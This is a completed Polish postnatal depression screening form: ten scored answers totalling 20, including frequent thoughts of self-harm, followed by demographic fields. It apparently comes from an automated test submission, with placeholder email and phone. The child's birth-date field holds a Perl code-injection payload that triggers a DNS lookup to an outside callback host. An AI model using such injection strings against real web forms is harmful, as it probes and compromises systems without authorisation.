1. Byłam zdolna do radości i dostrzegania radosnych stron życia:
tak często jak zazwyczaj(0)
2. Patrzyłam w przyszłość z nadzieją:
tak jak zawsze(0)
3. Obwiniałam się niepotrzebnie, gdy coś mi się nie udawało:
tak w większości przypadków(3)
4. Bez istotnej przyczyny odczuwałam lęk i niepokoiłam się:
zuepełnie nie(0)
5. Czułam się przestraszona i wpadałam w panikę bez większych powodów:
tak, często(3)
6. Wydarzenia przerastały mnie:
tak, prawie wcale nie dawałam sobie rady(3)
7. Czułam się tak nieszczęśliwa, że nie mogłam spać w nocy:
tak, przez większość czasu(3)
8. Czułam się samotna i nieszczęśliwa:
tak, przez większość czasu(3)
9. Czułam się tak nieszczęśliwa, że płakałam:
tak, dość często(2)
10. Zdarzało się, że myślałam o zrobieniu sobie krzywdy:
tak, dość często(3)
Suma punktów: 20
Płeć: kobieta
Wiek (w latach): 17
Data urodzenia dziecka (jeśli masz więcej niż jedno dziecko, podaj datę urodzenia najmłodszego dziecka): ’.gethostbyname(lc(’hitkp’.’fjfjhles809c0.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(121).chr(79).chr(101).chr(73).’
Liczba dzieci: 1
Status związku: związek małżeński
Wykształcenie: podstawowe
Miejsce zamieszkania: wieś
Jak Pani/Pan ocenia swoją sytuację materialną: bardzo dobra
Numer telefonu: 555-666-0606
Adres e-mail: testing@example.com
